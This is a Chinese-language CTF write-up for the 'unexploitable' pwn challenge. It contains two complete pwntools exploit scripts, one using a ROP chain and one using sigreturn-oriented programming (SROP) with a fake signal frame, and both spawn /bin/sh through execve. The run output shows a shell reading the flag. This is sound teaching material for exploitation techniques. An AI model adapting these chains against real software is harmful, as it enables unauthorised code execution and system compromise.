0x00 unexploitable

看看源代码,很简单的程序

#include <stdio.h>
void main(){
// no brute forcing
sleep(3);
// exploit me
int buf[4];
read(0, buf, 1295);
}

第一反应是用return to dl reslove,但是仔细一看没法做内存泄漏。因为64位需要把debug位置0,但是无法得到link_map的地址,所以这条路走不通。只能在题目给出的syscall上做文章。

0x01 ROP

思路就是直接利用syscall来调用execve("/bin/sh", 0, 0)来执行shell,因为execve调用的id为59,所以只需要将RAX置为59,RDIRSIRDX。此时有个问题,在搜索ROP Gadgets后没有找到RAX的Gadget。
网上搜了一个猥琐的思路,利用函数的返回值来修改RAX的值,眼下看比较好的函数就是read了,根据输入字符串的长度来控制RAX的值。

思路:

  1. 覆盖返回地址,调用read将第二段payload和/bin/sh写入bss段
  2. 执行第二段payload,控制RAX,利用syscall执行execve("/bin/sh")

最终的exploit如下:

from pwn import *
#io = remote("127.0.0.1", 10001)
io = process("/home/unexploitable/unexploitable")
bss_base = 0x0000000000601028 + 0x200
bash_addr = 0x0000000000601028 + 0x400
elf = ELF("/home/unexploitable/unexploitable")
syscall_addr = 0x00400560
pop_rbp_ret = 0x00400512#: pop rbp ; ret ; (1 found)
leave_ret = 0x00400576#: leave ; ret ; (1 found)
part1 = 0x004005e6#: mov rbx, qword [rsp+0x08] ; mov rbp, qword [rsp+0x10] ; mov r12, qword [rsp+0x18] ; mov r13, qword [rsp+0x20] ; mov r14, qword [rsp+0x28] ; mov r15, qword [rsp+0x30] ; add rsp, 0x38 ; ret ; (1 found)
part2 = 0x004005d0#: mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword [r12+rbx*8] ; (1 found)
def call_function(call_addr, arg1, arg2, arg3):
payload = ""
payload += p64(part1) # => RSP
payload += "A" * 8
payload += p64(0) # => RBX
payload += p64(1) # => RBP
payload += p64(call_addr) # => R12 => RIP
payload += p64(arg1) # => R13 => RDI
payload += p64(arg2) # => R14 => RSI
payload += p64(arg3) # => R16 => RDX
payload += p64(part2)
payload += "C" * 0x38
return payload
payload1 = "A" * 0x10
payload1 += p64(bss_base)
payload1 += call_function(elf.got["read"], 0, bss_base, 0x200)
payload1 += p64(pop_rbp_ret)
payload1 += p64(bss_base)
payload1 += p64(leave_ret)
payload2 = p64(bss_base+0x8)
payload2 += call_function(elf.got["read"], 0, bash_addr, 0x200)
payload2 += call_function(bash_addr+0x10, bash_addr, 0, 0)
payload3 = "/bin/sh\x00".ljust(0x10, "B")
payload3 += p64(syscall_addr)
payload3 = payload3.ljust(59, "D")
sleep(3)
raw_input()
io.send(payload1)
raw_input()
io.send(payload2)
raw_input()
io.send(payload3)
io.interactive()

0x02 SROP

Sigreturn Oriented Programming (SROP),这个方法是用来攻击POSIX主机的信号处理机制的。

Linux系统上,Signal本质上是对中断机制的模拟,Signal的来源主要有以下途径:

  1. 硬件来源:按下键盘或者其他故障
  2. 软件来源: kill等;非法操作

接受到了Signal后,程序的执行流程如下所示

+---------+ +---------+ +---------+
| Process | | Handler | | Process |
+---------+ +---------+ +---------+
| ^ | ^
User | | | |
-----------------------------------------------------------------------
Kenerl | | | |
| +---------+ | | +---------+ |
+------>| Save |-----+ +-->| Restore |-----+
+---------+ +---------+
  1. 进入内核态
  2. 保存上下文
  3. 回到用户态执行相关信号处理函数
  4. 进入内核态恢复上下文
  5. 进程继续执行

在程序接受Signal后,内核将进程的上下文context(r8-r15, rax, rbx, rcx, rdx, rdi, rsi等)保存在上,称作Signal Frame;当进程收到rt_sigreturn会从栈上取Signal Frame用来恢复进程的上下文。

Signal Frame实例如下:

Signal Frame
+-------------------------+-------------------------+
| rt_sigreturn | uc_flags |
+-------------------------+-------------------------+
| &uc | uc_stack.ss_sp |
+-------------------------+-------------------------+
| uc_stack.ss_flags | uc_stack.ss_size |
+-------------------------+-------------------------+
| r8 | r9 |
+-------------------------+-------------------------+
| r10 | r11 |
+-------------------------+-------------------------+
| r12 | r13 |
+-------------------------+-------------------------+
| r14 | r15 |
+-------------------------+-------------------------+
| rdi | rsi |
+-------------------------+-------------------------+
| rbp | rbx |
+-------------------------+-------------------------+
| rdx | rax |
+-------------------------+-------------------------+
| rcx | rsp |
+-------------------------+-------------------------+
| rip | eflags |
+-------------------------+-------------------------+
| cs/gs/fs | err |
+-------------------------+-------------------------+
| trapno | oldmask |
+-------------------------+-------------------------+
| cr2 | %fpstate |
+-------------------------+-------------------------+
| __reserved | sigmask |
+-------------------------+-------------------------+

所以,可选的攻击方式就是构造一个fake signal frame写入内存中,将然后将RSP指向这段空间,再发送rt_sigreturn信号。此时,内核会将构造好的fake signal frame取出,恢复。恢复后类似于ROP的方式,为syscall调用execve

最终的exploit如下:

from pwn import *
io = remote("127.0.0.1", 10001)
elf = ELF("./unexploitable")
bss_base = 0x0000000000601028 + 0x100
sig_stage = bss_base + 0x400
syscall_addr = 0x00400560
pop_rbp_ret = 0x00400512#: pop rbp ; ret ; (1 found)
leave_ret = 0x00400576#: leave ; ret ; (1 found)
part1 = 0x004005e6#: mov rbx, qword [rsp+0x08] ; mov rbp, qword [rsp+0x10] ; mov r12, qword [rsp+0x18] ; mov r13, qword [rsp+0x20] ; mov r14, qword [rsp+0x28] ; mov r15, qword [rsp+0x30] ; add rsp, 0x38 ; ret ; (1 found)
part2 = 0x004005d0#: mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword [r12+rbx*8] ; (1 found)
def call_function(call_addr, arg1, arg2, arg3):
payload = ""
payload += p64(part1) # => RSP
payload += "A" * 8
payload += p64(0) # => RBX
payload += p64(1) # => RBP
payload += p64(call_addr) # => R12 => RIP
payload += p64(arg1) # => R13 => RDI
payload += p64(arg2) # => R14 => RSI
payload += p64(arg3) # => R16 => RDX
payload += p64(part2)
payload += "C" * 0x38
return payload
sig_frame = ""
sig_frame += p64(syscall_addr) + p64(0)
sig_frame += p64(0) + p64(0)
sig_frame += p64(0) + p64(0)
sig_frame += p64(0) + p64(0) # r8 r9
sig_frame += p64(0) + p64(0) # r10 r11
sig_frame += p64(0) + p64(0) # r12 r13
sig_frame += p64(0) + p64(0) # r14 r15
sig_frame += p64(bss_base+0x200) + p64(0) # rdi rsi
sig_frame += p64(0) + p64(0) # rbp rbx
sig_frame += p64(0) + p64(59) # rdx rax(execve)
sig_frame += p64(0) + p64(0) # rcx rsp
sig_frame += p64(syscall_addr) + p64(0x207) # rip eflags
sig_frame += p64(0x33) + p64(0) # cs/gs/fs err
sig_frame += p64(0) + p64(0) # trapno oldmask
sig_frame += p64(0) + p64(0) # cr2 &fpstate
sig_frame += p64(0) + p64(0) # __reserved sigmask
payload1 = "A" * 0x10
payload1 += p64(bss_base)
payload1 += call_function(elf.got["read"], 0, bss_base, 0x300)
payload1 += p64(pop_rbp_ret)
payload1 += p64(bss_base)
payload1 += p64(leave_ret)
payload2 = p64(bss_base+0x8)
payload2 += call_function(elf.got["read"], 0, sig_stage, 0x100)
payload2 += sig_frame
payload2 = payload2.ljust(0x200, "\x00")
payload2 += "/bin/sh\x00"
payload3 = "D" * 0xf
sleep(3)
raw_input()
io.send(payload1)
raw_input()
io.send(payload2)
raw_input()
io.send(payload3)
io.interactive()

结果如下

unexploitable@ubuntu:/tmp$ python expp.py
[+] Starting local process '/home/unexploitable/unexploitable': Done
[*] '/home/unexploitable/unexploitable'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[*] Switching to interactive mode
$ cat /home/unexploitable/flag
sigreturn rop..? not a secret technique anymore!!

SROP比ROP的优势在于,ROP需要用大量的Gadgets来完成寄存器的设置;而SROP只需要一块够大的内存空间,将fake signal frame部署到内存中即可。

0x03 Refer

http://www.freebuf.com/articles/network/87447.html
http://www.spongeliu.com/165.html